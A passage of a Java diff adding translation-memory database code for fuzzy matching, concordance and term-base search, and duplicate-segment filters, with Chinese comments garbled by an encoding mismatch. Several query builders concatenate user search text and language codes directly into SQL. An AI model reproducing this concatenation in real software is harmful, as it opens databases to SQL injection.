null; + ResultSet rs = null; + Statement tmpStm = null; + try { + stm = conn.createStatement(); + tmpStm = conn.createStatement(); + rs = stm.executeQuery(textDataSql); + // SELECT TPKID, PURE, CONTENT, CREATIONID, CREATIONDATE, CHANGEID, CHANGEDATE, PROJECTREF + // FROM TEXTDATA INNER JOIN MTU ON MTU.MTUPKID = TEXTDATA.GROUPID AND TEXTDATA.GROUPID = __GROUPID__ AND + // TEXTDATA.LANG = '__LANG__' + String targetSql = dbConfig.getOperateDbSQL("fuzzySearch-target").replace("__LANG__", tgtLang); + String dbName = getMetaData().getDatabaseName(); + while (rs.next()) { + String _pureText = rs.getString(3); + String _fullText = rs.getString(4); + int similarity = 0; + if (caseSensitive) { + similarity = similarity(pureText, _pureText); + } else { + similarity = similarity(pureText.toLowerCase(), _pureText.toLowerCase()); + } + + String _tag = TranslationMemoryTools.getInnerTagContent(_fullText); + if (!isIngoreTarget && !tag.equals(_tag)) { + // 标记内容ä¸ç›¸ç­‰ï¼Œåˆ™æ‰§è¡Œç½šåˆ† + similarity -= tagPelanty; + } + + if (similarity < minSimilarity) { + continue; + } + int tuId = rs.getInt(2); + String temptargetSql = targetSql.replace("__GROUPID__", tuId + ""); + // TPKID, PURE, CONTENT, CREATIONID, CREATIONDATE, CHANGEID, CHANGEDATE ,PROJECTREF + ResultSet rs1 = null; + try { + rs1 = tmpStm.executeQuery(temptargetSql); + if (rs1.next()) { + TmxSegement source = new TmxSegement(_pureText, _fullText, srcLang); + source.setDbPk(rs.getInt(1)); + _pureText = rs1.getString(2); + _fullText = rs1.getString(3); + if (_pureText == null || _pureText.equals("") || _fullText == null || _fullText.equals("")) { + continue; + } + TmxSegement target = new TmxSegement(_pureText, _fullText, tgtLang); + target.setDbPk(rs1.getInt(1)); + TmxTU tu = new TmxTU(source, target); + FuzzySearchResult searchRs = new FuzzySearchResult(tu); + if (searchResults.contains(searchRs)) { + continue; + } + + String creationId = rs1.getString(4); + creationId = creationId == null ? "" : creationId; + String creationDate = ""; + Timestamp tempCdate = rs1.getTimestamp(5); + if (tempCdate != null) { + creationDate = DateUtils.formatToUTC(tempCdate.getTime()); + } + String changeid = rs1.getString(6); + changeid = changeid == null ? "" : changeid; + String changeDate = ""; + Timestamp tempChangeDate = rs1.getTimestamp(7); + if (tempChangeDate != null) { + changeDate = DateUtils.formatToUTC(tempChangeDate.getTime()); + } + String projectRef = rs1.getString(8); + projectRef = projectRef == null ? "" : projectRef; + tu.setCreationDate(creationDate); + tu.setCreationUser(creationId); + tu.setChangeDate(changeDate); + tu.setChangeUser(changeid); + List attrs = getTuMprops(tuId, "TU"); + tu.setProps(attrs); + + String preContext = rs.getString(5); + String nextContext = rs.getString(6); + tu.appendContext(TmxContexts.PRE_CONTEXT_NAME, preContext); + tu.appendContext(TmxContexts.NEXT_CONTEXT_NAME, nextContext); + if (similarity == 100 && CommonFunction.checkEdition("U")) { + if (preContext != null && nextContext != null) { + String[] preContexts = preContext.split(","); + String[] nextContexts = nextContext.split(","); + if (preContexts.length > contextSize) { + preContext = ""; //$NON-NLS-1$ + for (int i = 0; i < contextSize; i++) { + preContext += "," + preContexts[i]; //$NON-NLS-1$ + } + if (!"".equals(preContext)) { //$NON-NLS-1$ + preContext = preContext.substring(1); + } + } + + if (nextContexts.length > contextSize) { + nextContext = ""; //$NON-NLS-1$ + for (int i = 0; i < contextSize; i++) { + nextContext += "," + nextContexts[i]; //$NON-NLS-1$ + } + if (!"".equals(nextContext)) { //$NON-NLS-1$ + nextContext = nextContext.substring(1); + } + } + + if (preHash.equals(preContext) && nextHash.equals(nextContext)) { + similarity = 101; + } + } + } + searchRs.setDbName(dbName); + searchRs.setSimilarity(similarity); + searchRs.setDbOp(this); + searchRs.getTu().setTmId(tuId); + searchResults.add(searchRs); + } + } finally { + if (rs1 != null) { + rs1.close(); + } + } + } + } finally { + if (rs != null) { + rs.close(); + } + if (stm != null) { + stm.close(); + } + if (tmpStm != null) { + tmpStm.close(); + } + } + } + + public void translationUnitAnalysis(String pureText, String fullText, String srcLang, String tgtLang, + int minSimilarity, boolean caseSensitive, int matchUpperLimit, int contextSize, String preHash, + String nextHash, boolean isIngoreTarget, TranslationUnitAnalysisResults analysisResults, int tagPelanty) + throws SQLException { + int[] ngrams = generateNgrams(srcLang, pureText); + int size = ngrams.length; + if (size == 0) { + return; + } + this.commit(); + // long l1 = System.currentTimeMillis(); + int min = size * minSimilarity / 100; + int max = size * 100 / minSimilarity; + Map tpkids = getCandidatesTextDataPks(srcLang, min, max, ngrams); + // System.out.println("查MATEX_LANG表:"+(System.currentTimeMillis() - l1)); + // 构建SQL + Iterator> it = tpkids.entrySet().iterator(); + StringBuffer bf = new StringBuffer(); + // long l = System.currentTimeMillis(); + while (it.hasNext()) { + Entry entry = it.next(); + String tpkid = entry.getKey(); + float c = entry.getValue(); + if (c >= min && c <= max) { + bf.append(","); + bf.append(tpkid); + } + } + if (bf.toString().equals("")) { + return; + } + String tag = TranslationMemoryTools.getInnerTagContent(fullText); + String textDataSql = dbConfig.getOperateDbSQL("fuzzySearch"); + textDataSql = textDataSql.replace("__SET__", bf.toString().substring(1)); + Statement stm = null; + ResultSet rs = null; + Statement tmpStm = null; + try { + stm = conn.createStatement(); + tmpStm = conn.createStatement(); + rs = stm.executeQuery(textDataSql); + // SELECT GROUPID, PURE, CONTENT, PRECONTEXT, NEXTCONTEXT FROM TEXTDATA WHERE TPKID IN (__SET__) + String dbName = getMetaData().getDatabaseName(); + while (rs.next()) { + String _pureText = rs.getString(3); + String _fullText = rs.getString(4); + int similarity = 0; + if (caseSensitive) { + similarity = similarity(pureText, _pureText); + } else { + similarity = similarity(pureText.toLowerCase(), _pureText.toLowerCase()); + } + + String _tag = TranslationMemoryTools.getInnerTagContent(_fullText); + if (!isIngoreTarget && !tag.equals(_tag)) { + // 标记内容ä¸ç›¸ç­‰ï¼Œåˆ™æ‰§è¡Œç½šåˆ† + similarity -= tagPelanty; + } + + if (similarity < minSimilarity) { + continue; + } + if (similarity == 100 && CommonFunction.checkEdition("U")) { + String preContext = rs.getString(5); + String nextContext = rs.getString(6); + if (preContext != null && nextContext != null) { + String[] preContexts = preContext.split(","); + String[] nextContexts = nextContext.split(","); + if (preContexts.length > contextSize) { + preContext = ""; //$NON-NLS-1$ + for (int i = 0; i < contextSize; i++) { + preContext += "," + preContexts[i]; //$NON-NLS-1$ + } + if (!"".equals(preContext)) { //$NON-NLS-1$ + preContext = preContext.substring(1); + } + } + + if (nextContexts.length > contextSize) { + nextContext = ""; //$NON-NLS-1$ + for (int i = 0; i < contextSize; i++) { + nextContext += "," + nextContexts[i]; //$NON-NLS-1$ + } + if (!"".equals(nextContext)) { //$NON-NLS-1$ + nextContext = nextContext.substring(1); + } + } + + if (preHash.equals(preContext) && nextHash.equals(nextContext)) { + similarity = 101; + } + } + } + TranslationUnitAnalysisResult r = new TranslationUnitAnalysisResult(similarity, dbName); + analysisResults.add(r); + } + } finally { + if (rs != null) { + rs.close(); + } + if (stm != null) { + stm.close(); + } + if (tmpStm != null) { + tmpStm.close(); + } + } + } + + /** + * 匹é…率计算 + * @param x + * @param y + * @return ; + */ + protected int similarity(String x, String y) { + return MatchQuality.similarity(x, y); + } + + /** + * 判断vector中是å¦å·²ç»å­˜åœ¨tu了 + * @param vector + * @param tu + * @return trueå·²ç»å­˜åœ¨ï¼Œfalseä¸å­˜åœ¨ + */ + protected boolean isDuplicated(Vector> vector, Hashtable tu) { + int size = vector.size(); + String src = tu.get("srcText"); //$NON-NLS-1$ + String tgt = tu.get("tgtText"); //$NON-NLS-1$ + for (int i = 0; i < size; i++) { + Hashtable table = vector.get(i); + if (src.trim().equals(table.get("srcText").trim()) //$NON-NLS-1$ + && tgt.trim().equals(table.get("tgtText").trim())) { //$NON-NLS-1$ + return true; + } + } + return false; + } + + /** + * 查找匹é…结果排åºå™¨,按匹é…率从高到低ä¾æ¬¡æŽ’åº + * @author Jason + * @version + * @since JDK1.6 + */ + protected final class FindMatchComparator implements Comparator> { + public FindMatchComparator() { + } + + public int compare(Hashtable a, Hashtable b) { + Integer a1 = Integer.parseInt(a.get("similarity")); + Integer b1 = Integer.parseInt(b.get("similarity")); + if (a1 < b1) { + return 1; + } else { + return -1; + } + } + } + + // TODO ======================匹é…相关(结æŸï¼‰ ======================// + + /** + * 执行相关æœç´¢ + * @param strSearch + * æœç´¢æ–‡æœ¬ + * @param isCaseSensitive + * 是å¦åŒºåˆ†å¤§å°å†™ + * @param isApplyRegular + * 是å¦ä½¿ç”¨æ­£åˆ™è¡¨è¾¾å¼ + * @param isIgnoreMark + * 是å¦å¿½ç•¥æ ‡è®° + * @param strLang + * æºè¯­è¨€ + * @param lstLangs + * 语言集åˆ(包括æºè¯­è¨€) + * @param startIndex + * å¼€å§‹è¡Œå· + * @param intMax + * 最大查找结果数 + * @return ; + */ + public List getConcordanceSearchResult(String strSearch, boolean isCaseSensitive, + boolean isApplyRegular, boolean isIgnoreMark, String strLang, List lstLangs, List subList) { + String sql = getTMSearchSql(dbConfig.getOperateDbSQL("search-Corcondance"), isIgnoreMark, lstLangs, subList); + if (sql == null) { + return null; + } + List lstConcordance = new ArrayList(); + PreparedStatement stmt = null; + ResultSet rs = null; + try { + stmt = conn.prepareStatement(sql); + rs = stmt.executeQuery(); + ArrayList lstTuId = new ArrayList(); + while (rs.next()) { + Integer tuId = rs.getInt("TUID"); + if (lstTuId.contains(tuId)) { + ConcordanceBean bean = lstConcordance.get(lstTuId.indexOf(tuId)); + LanguageTMX lang = new LanguageTMX(); + lang.setLanguageCode(rs.getString("LANG")); + lang.setText(rs.getString("TMTEXT")); + bean.getLanguageList().add(lang); + } else { + lstTuId.add(tuId); + ConcordanceBean bean = new ConcordanceBean(); + bean.setId(tuId); + bean.setCreationId(rs.getString("CREATIONID")); + String creationDate = ""; + Timestamp tempCreationDate = rs.getTimestamp("CREATIONDATE"); + if (tempCreationDate != null) { + creationDate = DateUtils.formatLongTime(tempCreationDate.getTime(), "yyyy-MM-dd HH:mm:ss"); + } + bean.setCreationDate(creationDate); + bean.setChangeId(rs.getString("CHANGEID")); + String changeDate = ""; + Timestamp tempChangeDate = rs.getTimestamp("CHANGEDATE"); + if (tempChangeDate != null) { + changeDate = DateUtils.formatLongTime(tempChangeDate.getTime(), "yyyy-MM-dd HH:mm:ss"); + } + bean.setChangeDate(changeDate); + bean.setBlnIsFlag(rs.getString("MPPKID") != null); + List lstLang = new ArrayList(); + LanguageTMX lang = new LanguageTMX(); + lang.setLanguageCode(rs.getString("LANG")); + lang.setText(rs.getString("TMTEXT")); + lstLang.add(lang); + bean.setLanguageList(lstLang); + bean.setAttributeList(getTuMprops(tuId, "TU")); + lstConcordance.add(bean); + } + } + } catch (SQLException e) { + LOGGER.error("", e); + } finally { + if (stmt != null) { + try { + stmt.close(); + } catch (SQLException e) { + LOGGER.error("", e); + } + } + if (rs != null) { + try { + rs.close(); + } catch (SQLException e) { + LOGGER.error("", e); + } + } + } + return lstConcordance; + } + + /** + * 获å–相关æœç´¢ SQL è¯­å¥ + * @param tmOrTb + * @return ; + */ + public String getTMSearchSql(String sql, boolean isIgnoreMark, List lstLangs, + List lstGrouIdWithCurPage) { + sql = Utils.replaceString(sql, "__IGNORE_MARK__", (isIgnoreMark ? "B.PURE" : "B.CONTENT") + " TMTEXT"); + sql = Utils.replaceString( + sql, + "__GROUPID_LIST__", + "GROUPID IN(" + + lstGrouIdWithCurPage.toString().substring(1, lstGrouIdWithCurPage.toString().length() - 1) + + ") AND "); + + String strLanguage = "("; + for (String lang : lstLangs) { + strLanguage += "LANG='" + lang + "' OR "; + } + if (strLanguage.length() > 1) { + strLanguage = strLanguage.substring(0, strLanguage.length() - 3); + } + strLanguage += ")"; + if (strLanguage.length() == 2) { + strLanguage = ""; + } else { + strLanguage = " AND " + strLanguage; + } + sql = Utils.replaceString(sql, "__LANGUAGE_LIST__", strLanguage); + // System.out.println(sql); + return sql; + } + + /** + * 替æ¢ç›¸å…³æœç´¢æˆ–æœç´¢æœ¯è¯­çš„ SQL 语å¥ä¸­__CONDITION__字段,å„ç§æ•°æ®åº“è¦è¦†ç›–此方法(å„ç§æ•°æ®åº“åªæœ‰æ˜¯å¦å¿½ç•¥å¤§å°å†™å’Œæ­£åˆ™è¡¨è¾¾å¼å‡½æ•°ä¸åŒï¼‰ + * @param sql + * @param strSearch + * @param isCaseSensitive + * @param isApplyRegular + * @param isIgnoreMark + * @param srcLang + * @param arrFilter + * 过滤æ¡ä»¶ï¼Œç¬¬ä¸€ä¸ªä¸ºè¯­è¨€ï¼Œç¬¬äºŒä¸ªä¸º LIKE 或 NOT LIKE,第三个为匹é…文本,默认查询 TEXTDATA çš„ PURE 列,ä¸åŒºåˆ†å¤§å°å†™ + * @return ; + */ + public String replaceTMOrTBConditionSql(String sql, String strSearch, boolean isCaseSensitive, + boolean isApplyRegular, boolean isIgnoreMark, String srcLang, String[] arrFilter) { + return null; + } + + /** + * 添加/删除<prop type='x-flag'>HS-Flag</prop>标记 + * @param blnAddOrRemove + * true 表示添加标记,false 表示删除 + * @param strTuId + * MTU 表的 ID 值 + */ + public void addOrRemoveFlag(boolean blnAddOrRemove, String strTuId) { + PreparedStatement stmt = null; + String sql; + if (blnAddOrRemove) { + sql = dbConfig.getOperateDbSQL("insert-tmxprops"); + } else { + sql = dbConfig.getOperateDbSQL("deleteProp-with-HS-Flag"); + } + try { + stmt = conn.prepareStatement(sql); + if (blnAddOrRemove) { + int i = 1; + stmt.setString(i++, "TU"); + stmt.setString(i++, strTuId); + stmt.setString(i++, Constants.X_FLAG); + stmt.setString(i++, null); + stmt.setString(i++, null); + stmt.setString(i++, Constants.HS_FLAG); + stmt.executeUpdate(); + } else { + stmt.setString(1, strTuId); + stmt.setString(2, Constants.X_FLAG); + stmt.setString(3, Constants.HS_FLAG); + stmt.executeUpdate(); + } + } catch (SQLException e) { + LOGGER.error("", e); + } finally { + if (stmt != null) { + try { + stmt.close(); + } catch (SQLException e) { + LOGGER.error("", e); + } + } + } + } + + /** + * æœç´¢æœ¯è¯­åº“ + * @param strSearch + * æœç´¢æ–‡æœ¬ + * @param isCaseSensitive + * 是å¦åŒºåˆ†å¤§å°å†™ + * @param isApplyRegular + * 是å¦ä½¿ç”¨æ­£åˆ™è¡¨è¾¾å¼ + * @param strLang + * æºè¯­è¨€ + * @param lstLangs + * 语言集åˆ(包括æºè¯­è¨€) + * @param intMatchQuality + * 术语相似度 + * @param intMax + * 最大查找结果数 + * @return ; + */ + public HashMap> getTermBaseResult(String strSearch, + boolean isCaseSensitive, boolean isApplyRegular, boolean isIgnoreMark, String strLang, + List lstLangs, int intMatchQuality) { + String sql = getTermBaseSearchSql(strSearch, isCaseSensitive, isApplyRegular, isIgnoreMark, strLang, lstLangs); + // System.out.println(sql); + if (sql == null) { + return null; + } + HashMap> mapTermBase = new HashMap>(); + PreparedStatement stmt = null; + ResultSet rs = null; + try { + stmt = conn.prepareStatement(sql); + rs = stmt.executeQuery(); + ArrayList lstRemoveGroupId = new ArrayList(); + boolean blnIsNext = rs.next(); + while (blnIsNext) { + String strGroupId = rs.getString("GROUPID"); + String strLanguageString = rs.getString("LANG"); + String strTextString = rs.getString("TMTEXT"); + if (lstRemoveGroupId.contains(strGroupId)) { + if (mapTermBase.containsKey(strGroupId)) { + mapTermBase.remove(strGroupId); + } + blnIsNext = rs.next(); + continue; + } + int distance = -1; + if (!isApplyRegular) { + if (strLanguageString.equalsIgnoreCase(strLang)) { + if (isCaseSensitive) { + distance = MatchQuality.similarity(strTextString, strSearch); + } else { + distance = MatchQuality.similarity(strTextString.toLowerCase(), strSearch.toLowerCase()); + } + if (distance < intMatchQuality) { + if (mapTermBase.containsKey(strGroupId)) { + mapTermBase.remove(strGroupId); + } + lstRemoveGroupId.add(strGroupId); + blnIsNext = rs.next(); + continue; + } + } + } + if (mapTermBase.containsKey(strGroupId)) { + mapTermBase.get(strGroupId).put(strLanguageString, strTextString); + } else { + IdentityHashMap mapTemp = new IdentityHashMap(); + mapTemp.put(strLanguageString, strTextString); + mapTermBase.put(strGroupId, mapTemp); + } + if (distance > -1) { + // 将相似度存起æ¥ç”¨äºŽæŽ’åº + mapTermBase.get(strGroupId).put("similarity", String.valueOf(distance)); + } + blnIsNext = rs.next(); + } + } catch (SQLException e) { + LOGGER.error("", e); + } finally { + if (stmt != null) { + try { + stmt.close(); + } catch (SQLException e) { + LOGGER.error("", e); + } + } + if (rs != null) { + try { + rs.close(); + } catch (SQLException e) { + LOGGER.error("", e); + } + } + } + Iterator>> it = mapTermBase.entrySet().iterator(); + while (it.hasNext()) { + Entry> e = it.next(); + // 2 表示集åˆä¸­åªæœ‰æºè¯­è¨€å’Œ similarity 两个值 + if (e.getValue().containsKey("similarity") && e.getValue().size() <= 2) { + it.remove(); + } else if (!e.getValue().containsKey("similarity") && e.getValue().size() == 1) { + it.remove(); + } + } + return mapTermBase; + } + + /** + * æœç´¢æœ¯è¯­åº“时根æ®æ供的æ¡ä»¶ç”Ÿæˆ SQL è¯­å¥ + * @param strSearch + * æœç´¢æ–‡æœ¬ + * @param isCaseSensitive + * 是å¦åŒºåˆ†å¤§å°å†™ + * @param isApplyRegular + * 是å¦ä½¿ç”¨æ­£åˆ™è¡¨è¾¾å¼ + * @param strLang + * æºè¯­è¨€ + * @param lstLangs + * 语言集åˆ(包括æºè¯­è¨€) + * @param intMatchQuality + * 术语相似度 + * @param intMax + * 最大查找结果数 + * @return ; + */ + public String getTermBaseSearchSql(String strSearch, boolean isCaseSensitive, boolean isApplyRegular, + boolean isIgnoreMark, String strLang, List lstLangs) { + String sql = replaceTMOrTBConditionSql(dbConfig.getOperateDbSQL("search-TermBase"), strSearch, isCaseSensitive, + isApplyRegular, isIgnoreMark, strLang, null); + sql = Utils.replaceString(sql, "__IGNORE_MARK__", (isIgnoreMark ? "B.PURE" : "B.CONTENT") + " TMTEXT"); + StringBuffer strLanguage = new StringBuffer("("); + for (String lang : lstLangs) { + strLanguage.append("B.LANG='" + lang + "' OR "); + } + if (strLanguage.toString().length() > 1) { + strLanguage.delete(strLanguage.length() - 3, strLanguage.toString().length()); + } + strLanguage.append(")"); + if (strLanguage.length() == 2) { + strLanguage.delete(0, strLanguage.length()); + } else { + strLanguage.insert(0, " AND "); + } + sql = Utils.replaceString(sql, "__LANGUAGE_LIST__", strLanguage.toString()); + return sql; + } + + /** + * 导出时,根æ®è®¾ç½®çš„过滤æ¡ä»¶èŽ·å–符åˆæ¡ä»¶çš„TU的主键 + * @param mTuFilter + * MTU表的过滤æ¡ä»¶ + * @param mNoteFilter + * MNOTE表的过滤æ¡ä»¶ + * @param textDataFilter + * TEXTDATA表的过滤æ¡ä»¶ + * @return 一组符åˆç»“果的TU主键 + * @throws SQLException + * ; + */ + public List getAfterFilterTuPk(String mTufilter, String mNoteFilter, String textDataFilter) + throws SQLException { + String filterTuSQL = dbConfig.getOperateDbSQL("getTuPkByFilter"); + StringBuffer whereBuff = new StringBuffer(); + if (mTufilter != null && !mTufilter.equals("")) { + whereBuff.append(" AND "); + whereBuff.append(mTufilter); + } + if (textDataFilter != null && !textDataFilter.equals("")) { + whereBuff.append(" AND "); + whereBuff.append(textDataFilter); + } + if (mNoteFilter != null && !mNoteFilter.equals("")) { + whereBuff.append(" AND "); + whereBuff.append(mNoteFilter); + } + filterTuSQL = Utils.replaceString(filterTuSQL, "__where__", whereBuff.toString()); + + List result = new ArrayList(); + PreparedStatement stmt = null; + ResultSet rs = null; + try { + stmt = conn.prepareStatement(filterTuSQL); + rs = stmt.executeQuery(); + while (rs.next()) { + result.add(rs.getInt("MTUPKID")); + } + } finally { + if (rs != null) { + rs.close(); + } + if (stmt != null) { + stmt.close(); + } + } + return result; + } + + /** + * 过滤查询:通过界é¢ä¸Šçš„语言æ¡ä»¶èŽ·å–æ•°æ®åº“所有 tu 的主键 --robert 2013-08-20 + * @param srcLang + * @param tgtLang + * @return ; + */ + public List getAllTuPkByLang(String srcLang, String tgtLang, String srcSearchText, String tgtSearchText) + throws Exception { + List result = new ArrayList(); + String filterTuSQL = dbConfig.getOperateDbSQL("getAllTuPkByLang"); + StringBuilder sb = new StringBuilder(); + sb.append(" AND LOWER(A.LANG) = LOWER('" + srcLang + "')"); // SRC LANG + sb.append(" AND LOWER(B.LANG) = LOWER('" + tgtLang + "')"); // TGT LANG + if (srcSearchText.length() != 0) { + sb.append(" AND A.PURE LIKE '%").append(srcSearchText).append("%'"); + } + if (tgtSearchText.length() != 0) { + sb.append(" AND LOWER(B.LANG) = LOWER('" + tgtLang + "') AND B.PURE LIKE '%").append(tgtSearchText) + .append("%'"); + } + + filterTuSQL = Utils.replaceString(filterTuSQL, "###WHERE###", sb.toString()); + + PreparedStatement stmt = null; + ResultSet rs = null; + try { + stmt = conn.prepareStatement(filterTuSQL); + rs = stmt.executeQuery(); + while (rs.next()) { + result.add(rs.getInt("ID")); + } + } finally { + if (rs != null) { + rs.close(); + } + if (stmt != null) { + stmt.close(); + } + } + return result; + } + + /** + * 过滤查询:获å–æºæ–‡ä¸Žè¯‘文相åŒçš„文本段的主键 robert 2013-08-21 + * @param srcLang + * @param tgtLang + * @param ignoreCase + * @param ignoreTag + * @return ; + */ + public List getSrcSameWithTgtTuPK(String srcLang, String tgtLang, boolean ignoreCase, boolean ignoreTag) + throws SQLException { + srcLang = srcLang.toLowerCase(); + tgtLang = tgtLang.toLowerCase(); + + List result = new ArrayList(); + + String sql = dbConfig.getOperateDbSQL("getSrcSameWithTgtTuPK"); + + if (ignoreTag) { + sql = Utils.replaceString(sql, "###IGNORETAG###", "PURE"); + } else { + sql = Utils.replaceString(sql, "###IGNORETAG###", "CONTENT"); + } + + Map> rs = query(sql, new Object[] { srcLang, tgtLang }); + Collection> values = rs.values(); + Iterator> iterator = values.iterator(); + String id = null; + String src = null; + String tgt = null; + while (iterator.hasNext()) { + Map next = iterator.next(); + id = next.get("ID"); + src = next.get("SRC"); + tgt = next.get("TGT"); + src = TextUtil.trimString(src); + tgt = TextUtil.trimString(tgt); + + if (ignoreCase ? src.equalsIgnoreCase(tgt) : src.equals(tgt)) { + result.add(Integer.parseInt(id)); + } + } + + return result; + } + + + /** + * 过滤查询:获å–相åŒæºæ–‡ä¸åŒè¯‘æ–‡çš„æ•°æ® robert 2013-08-22 + * @param srcLang + * @param tgtLang + * @param ignorCase + * @param ignoreTag + * @return + * @throws SQLException + * ; + */ + public List getSrcSameButTgtTuPK(String srcLang, String tgtLang, boolean ignorCase, boolean ignoreTag) + throws SQLException { + srcLang = srcLang.toLowerCase(); + tgtLang = tgtLang.toLowerCase(); + + List result = new ArrayList(); + String sql = dbConfig.getOperateDbSQL("getSrcSameButTgtTuPK"); + sql = Utils.replaceString(sql, "###IGNORETAG###", ignoreTag ? "PURE" : "CONTENT"); + + String[] params = new String[] { srcLang, tgtLang }; + String src = null; + + PreparedStatement psmt = null; + ResultSet rt = null; + try { + if (null == conn) { + return result; + } + psmt = conn.prepareStatement(sql); + + for (int i = 0; i < params.length; i++) { + setParameter(psmt, i + 1, params[i]); + } + + List>> allDataList = new ArrayList>>(); + List> dataList = new ArrayList>(); + dataList = new ArrayList>(); + + rt = psmt.executeQuery(); + String id = null; + String curSrc = null; + String curTgt = null; + while (rt.next()) { + id = rt.getString(1); + curSrc = rt.getString(2); + curTgt = rt.getString(3); + + if (src == null) { + src = curSrc; + Map dataMap = new HashMap(); + dataMap.put("id", id); + dataMap.put("src", curSrc); + dataMap.put("tgt", curTgt); + dataList.add(dataMap); + } else { + if (ignorCase ? src.equalsIgnoreCase(curSrc) : src.equals(curSrc)) { + Map dataMap = new HashMap(); + dataMap.put("id", id); + dataMap.put("src", curSrc); + dataMap.put("tgt", curTgt); + dataList.add(dataMap); + } else { + if (dataList.size() > 1) { + allDataList.add(dataList); + } + dataList = new ArrayList>(); + src = curSrc; + Map dataMap = new HashMap(); + dataMap.put("id", id); + dataMap.put("src", curSrc); + dataMap.put("tgt", curTgt); + dataList.add(dataMap); + } + } + } + if (dataList.size() > 1) { + allDataList.add(dataList); + } + + // 开始判断译文是å¦ä¸ç›¸åŒ + List indexList = new ArrayList(); + Map> indexMap = new TreeMap>(); + allListFor: for (List> curDataList : allDataList) { + String tgtText = ""; + for (Map curDataMap : curDataList) { + if (tgtText.isEmpty()) { + tgtText = curDataMap.get("tgt"); + } else if (!(ignorCase ? tgtText.equalsIgnoreCase(curDataMap.get("tgt")) : tgtText + .equals(curDataMap.get("tgt")))) { + indexList = new ArrayList(); + for (Map indexDataMap : curDataList) { + indexList.add(Integer.parseInt(indexDataMap.get("id"))); + } + Collections.sort(indexList); + indexMap.put(indexList.get(0), indexList); + continue allListFor; + } + } + } + + for (Entry> entry : indexMap.entrySet()) { + result.addAll(entry.getValue()); + } + + } finally { + if (rt != null) { + rt.close(); + } + if (psmt != null) { + psmt.close(); + } + } + + return result; + } + + /** + * 过滤查询:获å–相åŒè¯‘æ–‡ä¸åŒæºæ–‡çš„æ•°æ® robert 2013-08-22 + * @param srcLang + * @param tgtLang + * @param ignoreCase + * @param ignoreTag + * @return ; + */ + public List getTgtSameButSrcTuPK(String srcLang, String tgtLang, boolean ignoreCase, boolean ignoreTag) + throws SQLException { + srcLang = srcLang.toLowerCase(); + tgtLang = tgtLang.toLowerCase(); + + List result = new ArrayList(); + String sql = dbConfig.getOperateDbSQL("getTgtSameButSrcTuPK"); + sql = Utils.replaceString(sql, "###IGNORETAG###", ignoreTag ? "PURE" : "CONTENT"); + + String[] params = new String[] { srcLang, tgtLang }; + + PreparedStatement psmt = null; + ResultSet rt = null; + try { + if (null == conn) { + return result; + } + psmt = conn.prepareStatement(sql); + + for (int i = 0; i < params.length; i++) { + setParameter(psmt, i + 1, params[i]); + } + + List>> allDataList = new ArrayList>>(); + List> dataList = new ArrayList>(); + dataList = new ArrayList>(); + + rt = psmt.executeQuery(); + String tgt = null; + String id = null; + String curSrc = null; + String curTgt = null; + while (rt.next()) { + id = rt.getString(1); + curSrc = rt.getString(2); + curTgt = rt.getString(3); + + if (tgt == null) { + tgt = curTgt; + Map dataMap = new HashMap(); + dataMap.put("id", id); + dataMap.put("src", curSrc); + dataMap.put("tgt", curTgt); + dataList.add(dataMap); + } else { + if (ignoreCase ? tgt.equalsIgnoreCase(curTgt) : tgt.equals(curTgt)) { + Map dataMap = new HashMap(); + dataMap.put("id", id); + dataMap.put("src", curSrc); + dataMap.put("tgt", curTgt); + dataList.add(dataMap); + } else { + if (dataList.size() > 1) { + allDataList.add(dataList); + } + dataList = new ArrayList>(); + tgt = curTgt; + Map dataMap = new HashMap(); + dataMap.put("id", id); + dataMap.put("src", curSrc); + dataMap.put("tgt", curTgt); + dataList.add(dataMap); + } + } + } + if (dataList.size() > 1) { + allDataList.add(dataList); + } + + // 开始判断译文是å¦ä¸ç›¸åŒ + List indexList = new ArrayList(); + Map> indexMap = new TreeMap>(); + allListFor: for (List> curDataList : allDataList) { + String srcText = ""; + for (Map curDataMap : curDataList) { + if (srcText.isEmpty()) { + srcText = curDataMap.get("src"); + } else if (!(ignoreCase ? srcText.equalsIgnoreCase(curDataMap.get("src")) : srcText + .equals(curDataMap.get("src")))) { + indexList = new ArrayList(); + for (Map indexDataMap : curDataList) { + indexList.add(Integer.parseInt(indexDataMap.get("id"))); + } + Collections.sort(indexList); + indexMap.put(indexList.get(0), indexList); + continue allListFor; + } + } + } + + for (Entry> entry : indexMap.entrySet()) { + result.addAll(entry.getValue()); + } + + } finally { + if (rt != null) { + rt.close(); + } + if (psmt != null) { + psmt.close(); + } + } + return result; + } + + + /** + * 获å–é‡å¤æ–‡æœ¬æ®µ --robert 2013-12-17 + * @param srcLang + * @param tgtLang + * @param ignoreCase + * @param ignoreTag + * @return + * @throws SQLException ; + */ + public List getDuplicateSegTUPK(String srcLang, String tgtLang, final boolean ignoreCase, final boolean ignoreTag) throws SQLException{ + srcLang = srcLang.toLowerCase(); + tgtLang = tgtLang.toLowerCase(); + long time1 = System.currentTimeMillis(); + + List result = new ArrayList(); + String sql = dbConfig.getOperateDbSQL("getDuplicateSegTUPK"); + sql = Utils.replaceString(sql, "###IGNORETAG###", ignoreTag ? "PURE" : "CONTENT"); + + String[] params = new String[] { srcLang, tgtLang }; + + PreparedStatement psmt = null; + ResultSet rt = null; + try { + if (null == conn) { + return result; + } + psmt = conn.prepareStatement(sql); + + for (int i = 0; i < params.length; i++) { + setParameter(psmt, i + 1, params[i]); + } + + List tuDataList = new ArrayList(); + rt = psmt.executeQuery(); + int mpk = -1; + String srcText = null; + String tgtText = null; + TmxTU tu = new TmxTU(); + TmxSegement srcSegment; + TmxSegement tgtSegment; + while (rt.next()) { + tu = new TmxTU(); + srcSegment = new TmxSegement(); + tgtSegment = new TmxSegement(); + mpk = Integer.parseInt(rt.getString(1)); + srcText = rt.getString(2); + tgtText = rt.getString(3); + srcText = TextUtil.trimString(srcText); + tgtText = TextUtil.trimString(tgtText); + srcText = ignoreCase ? srcText.toLowerCase() : srcText; + tgtText = ignoreCase ? tgtText.toLowerCase() : tgtText; + if (ignoreTag) { + srcSegment.setPureText(srcText); + tgtSegment.setPureText(tgtText); + tu.setSource(srcSegment); + tu.setTarget(tgtSegment); + }else { + srcSegment.setFullText(srcText); + tgtSegment.setFullText(tgtText); + tu.setSource(srcSegment); + tu.setTarget(tgtSegment); + } + tu.setTmId(mpk); + tuDataList.add(tu); + } + + Collections.sort(tuDataList, new Comparator() { + public int compare(TmxTU tu1, TmxTU tu2) { + String srcText1 = ignoreTag ? tu1.getSource().getPureText() : tu1.getSource().getFullText(); + String srcText2 = ignoreTag ? tu2.getSource().getPureText() : tu2.getSource().getFullText(); + return 